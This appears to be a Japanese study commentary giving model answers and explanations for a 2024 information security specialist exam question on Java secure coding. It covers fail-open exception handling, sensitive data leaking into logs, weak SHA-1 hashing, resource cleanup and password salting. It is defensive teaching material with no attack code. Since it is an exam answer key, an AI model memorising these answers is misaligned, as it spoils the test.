間違えやすい点。No.10(受信して保存)で復号すると,保存されたファイルが平文に戻ってしまい保険的対策にならない。No.6 は在庫データの取込みで,注文データとは別のファイルである。

設問2(1) 解答欄1つ

本文中の d に入れる適切な行番号を,図3中から選び,答えよ。

〔d〕解答例

  • 5
解説

本文の根拠

図3 5行目

5: MessageDigest mdObj = MessageDigest.getInstance("SHA-1");

図3 8〜10行目

8: } catch (NoSuchAlgorithmException e) {

〔ユーザー登録機能のセキュリティレビュー〕

今後,メンテナンスなどで実行環境を変更した場合に,d 行目で e が発生すると,25,26 行目では,パスワードが平文でユーザーマスターテーブルに保存されてしまう。

MessageDigest.getInstance は,指定したアルゴリズムが実行環境で使えないときに NoSuchAlgorithmException を投げる。実行環境を変えたことで SHA-1 が使えなくなると,5行目で例外が起きる。

このとき6,7行目のハッシュ化は実行されず,this.password には3行目で入れた平文のパスワードが残る。catch 節(8〜10行目)はログを出すだけで処理を続けるので,addUser の25,26行目で平文のパスワードがそのまま保存される。よって d は 5 である。

間違えやすい点。例外を捕まえているのは8行目だが,発生する場所は getInstance を呼ぶ5行目である。6行目の digest は,mdObj が得られた後の処理である。

設問2(2) 解答欄1つ

本文中の e に入れる適切な字句を答えよ。

〔e〕解答例

  • 例外
解説

本文の根拠

図3 8行目

8: } catch (NoSuchAlgorithmException e) {

図4 9〜10行目

//回復不能な例外発生

5行目の MessageDigest.getInstance は,アルゴリズムが見つからないと NoSuchAlgorithmException という例外を発生させる。図3はそれを catch して記録するだけなので,例外の後も処理が進み,平文のパスワードが保存されてしまう。

したがって e は“例外”である。8行目で捕まえている NoSuchAlgorithmException がこれに当たる。

間違えやすい点。“エラー”や“障害”のような一般語ではなく,Java の仕組みとしての“例外”を書く。設問2(5)・(6)も,この例外が起きたときの扱いを直す問題である。

設問2(3) 解答欄2つ

本文中の下線①について,システム運用担当者とシステム開発者が,アクセスが禁止されているのにアクセスできてしまう情報は何か。図2中のユーザーマスターテーブルの列名で,それぞれ全て答えよ。また,その情報が出力される場所を,解答群の中から選び,それぞれ記号で答えよ。解答群:ア(開発ログサーバの AP ログを保存したテキストファイル),イ(本番 AP サーバの/sbin ディレクトリ配下のバイナリファイル),ウ(本番 AP サーバの/var/data ディレクトリ配下の CSV ファイル),エ(本番 AP サーバの/var/log/serverlog ディレクトリ配下のテキストファイル),オ(本番ログサーバの AP ログを保存したテキストファイル)(冊子の注記:不備により設問2(3)「システム運用担当者」の「アクセスできてしまう情報」及び「出力される場所」は成立しない。(令和6年7月19日追記)。このため,システム運用担当者の欄は収録していない)

〔システム開発者 アクセスできてしまう情報〕解答例

  • パスワード,氏名,住所,電話番号,メールアドレス

〔システム開発者 出力される場所〕解答例

  • オ

〔備考〕解答例では,システム運用担当者の“アクセスできてしまう情報”及び“出力される場所”は“不備により設問が成立しない。”とされている。

解説

本文の根拠

図3 24行目

24: log.debug("InsertData:" + this.toString());

図3 注記

log.debug()は,引数の文字列をログサーバに送信するメソッドである。

表3 No.4

No.4:develop,一般ユーザー権限である。開発環境と本番ログサーバへのアクセス権がある。

表1 No.5

重要情報 1) に該当するデータ項目:氏名,住所,電話番号,メールアドレス,パスワード,銀行口座情報,決済情報。

表1 No.18

障害発生時は,本番ログサーバにアクセスして障害原因を調査する。重要情報にアクセスしてはならない。

図3の24行目は,this.toString() でインスタンス変数の値をまとめて AP ログとしてログサーバに送る。本番ではこれが本番ログサーバに AP ログとしてテキストファイルで保存される(表1 No.15)。インスタンス変数はユーザーマスターテーブルの各列に対応するので,ログには重要情報に当たるパスワード(のハッシュ値,例外時は平文),氏名,住所,電話番号,メールアドレスが含まれる。

システム開発者は develop グループで本番ログサーバへのアクセス権があり,障害調査で AP ログを見るが,重要情報へのアクセスは禁止されている。したがってシステム開発者がアクセスできてしまう情報はパスワード,氏名,住所,電話番号,メールアドレスで,出力される場所はオ(本番ログサーバの AP ログを保存したテキストファイル)である。ユーザーOID・ユーザーID・郵便番号・作成日時・更新日時は表1 No.5 の重要情報に入っていない。

なお,システム運用担当者の欄(21,22行目の標準出力が本番 AP サーバの /var/log/serverlog に出力される件)は,IPA が“不備により設問が成立しない”としたため収録していない。表1 No.16 の /var/log/serverlog のパーミッションは,正誤表で774から775に訂正されている。

設問2(4) 解答欄1つ

図4中の f に入れる適切な字句を答えよ。

〔f〕解答例

  • SHA-256
  • SHA-384
  • SHA-512
解説

本文の根拠

表1 No.19

パスワードは,CRYPTREC 暗号リスト(令和5年3月30日版)の電子政府推奨暗号リストに記載されているハッシュ関数でハッシュ化して DB に保存する。

〔ユーザー登録機能のセキュリティレビュー〕

パスワードからハッシュ値を得るためのハッシュ関数が,表1の要件を満たしていない。

図3で使っている SHA-1 は衝突を見つける攻撃が実証されており,CRYPTREC 暗号リストの電子政府推奨暗号リストには載っていない。E 氏の指摘はこのことで,表1 No.19 の要件を満たすには,電子政府推奨暗号リストにあるハッシュ関数に替える。

解答例は SHA-256,SHA-384,SHA-512 を挙げており,どれを書いてもよい。いずれも SHA-2 系のハッシュ関数で,Java の MessageDigest.getInstance にこの名前で指定できる。

書き方の注意。getInstance に渡すアルゴリズム名なので,“SHA-256”のようにハイフンを含めた正式な名前で書く。“SHA-2”は系列の総称で,特定のアルゴリズム名にならない。

設問2(5) 解答欄1つ

図4中の g に入れる適切な処理を,ソースコード又は具体的な処理内容のいずれかで答えよ。

〔g〕解答例

  • throw new RuntimeException(e)
  • ランタイムエラーを例外としてthrowする。
解説

本文の根拠

図4 8〜10行目

8: } catch (NoSuchAlgorithmException e) {

図4 9〜10行目

//回復不能な例外発生

〔ユーザー登録機能のセキュリティレビュー〕

e が発生すると,25,26 行目では,パスワードが平文でユーザーマスターテーブルに保存されてしまう。

図3の問題は,例外を捕まえてログを出すだけで処理を続け,平文のパスワードが保存されてしまうことだった。ハッシュ関数が使えないのは回復できない状態なので,そこで処理を打ち切り,呼出し元に例外として知らせる必要がある。

そのため g には,例外を投げ直す処理を書く。ソースコードなら throw new RuntimeException(e)(元の例外 e を原因として包んだ実行時例外を投げる),処理内容なら“ランタイムエラーを例外として throw する”である。例外が投げられればコンストラクタは完了せず,addUser による保存にも進まない。

講評のとおり正答率が低かった。catch 節で return するだけ,またはログを出すだけの答えは,平文が保存される問題を解決しない。RuntimeException は非検査例外なので,メソッドに throws 宣言を加えなくても投げられる。

採点講評(IPA)

設問2(5)は,正答率が低かった。Java言語での例外処理仕様を理解していないと思われる解答が散見された。例外発生時の動作は脆弱性につながりやすい部分である。プログラム言語での適切な例外処理はセキュアコーディングの基本的内容であり,正確に理解してほしい。

設問2(6) 解答欄1つ

図4中の h に入れる適切なソースコードを答えよ。

〔h〕解答例

  • finally
解説

本文の根拠

〔ユーザー登録機能のセキュリティレビュー〕

利用する AP サーバの実装では,変数 psObj の指すメモリ領域においてメモリリークが発生する可能性がある。

図4 28〜31行目

31: psObj.close();

図3では,psObj の close を呼んでいないので,PreparedStatement の資源が解放されず,メモリリークが起きうる。図4は28行目以降で psObj が null でなければ close する処理を加えている。これを例外が起きたときも起きないときも必ず実行させるのが,try 文の finally 節である。

したがって h は finally である。try ブロックが正常に終わっても,SQLException で catch 節に入っても,finally 節は実行されるので,psObj は必ず閉じられる。14行目で psObj を null で初期化しているのも,finally 節で null かどうかを判定できるようにするためである。

講評のとおり正答率がやや低かった。catch では例外の時しか実行されない。Java 7 以降なら try-with-resources でも同じ目的を果たせるが,この空欄は“} h {”の形なので finally が入る。

採点講評(IPA)

設問2(6)は,正答率がやや低かった。Java言語には例外発生時でも必ず実行される処理を記述する仕組みが用意されており,リソースリークを防ぐために重要な仕組みである。正確に理解してほしい。

設問2(7)

本文中の下線②について,図4の6,7行目をどのように修正すればよいか。修正後の適切なソースコードを解答群の中から選び,記号で答えよ。ここで,変数 salt には,addUser メソッドの呼出しごとに異なる32バイトの固定長文字列が入っているものとし,ユーザーマスターテーブルの定義に変更はないものとする。解答群:ア(byte[] hashByte = mdObj.digest((salt + this.password).getBytes()); this.password = salt + String.format("%x", new BigInteger(1, hashByte));),イ(byte[] hashByte = mdObj.digest((salt + this.password).getBytes()); this.password = String.format("%x", new BigInteger(1, hashByte));),ウ(byte[] hashByte = mdObj.digest(this.password.getBytes()); byte[] saltByte = mdObj.digest(salt.getBytes()); this.password = String.format("%x", new BigInteger(1, hashByte)) + String.format("%x", new BigInteger(1, saltByte));),エ(byte[] hashByte = mdObj.digest(this.password.getBytes()); this.password = salt + String.format("%x", new BigInteger(1, hashByte));),オ(byte[] hashByte = mdObj.digest(this.password.getBytes()); this.password = String.format("%x", new BigInteger(1, hashByte)); byte[] saltHashByte = mdObj.digest((salt + this.password).getBytes()); this.password = String.format("%x", new BigInteger(1, saltHashByte));)

解答例

  • ア
解説

本文の根拠

〔ユーザー登録機能のセキュリティレビュー〕

E 氏は,図4のソースコードでは,レインボーテーブル攻撃を受けたときに攻撃が成立してしまうので,図2の仕様及び②図4のソースコードの6,7行目を修正すべきであると指摘した。

図2 注2)

パスワードのハッシュ値が格納される。

設問2(7)の解答群

this.password = salt + String.format("%x", new BigInteger(1, hashByte));

レインボーテーブル攻撃は,よく使われるパスワードのハッシュ値をあらかじめ計算した表で,ハッシュ値から元のパスワードを引く攻撃である。対策は,利用者ごとに異なるソルトをパスワードに加えてからハッシュ化することで,同じパスワードでも違うハッシュ値になり,事前計算の表が使えなくなる。

ソルトは addUser の呼出しごとに異なるので,ログイン時の照合には保存時のソルトが要る。テーブルの定義は変えないので,ソルトはパスワード列にハッシュ値と一緒に入れるしかない。アは salt + パスワードをハッシュ化し,その前に salt を付けて保存するので,照合時は先頭32バイトからソルトを取り出して同じ計算ができる。答えはアである。

イはソルトを保存しないので照合できない。ウとエはパスワード自体をソルト無しでハッシュ化しており,その部分がレインボーテーブルで破られる。オはソルトを保存しないので照合できない。

出典:令和6年度 春期 情報処理安全確保支援士試験 午後 問4(表記を一部改変)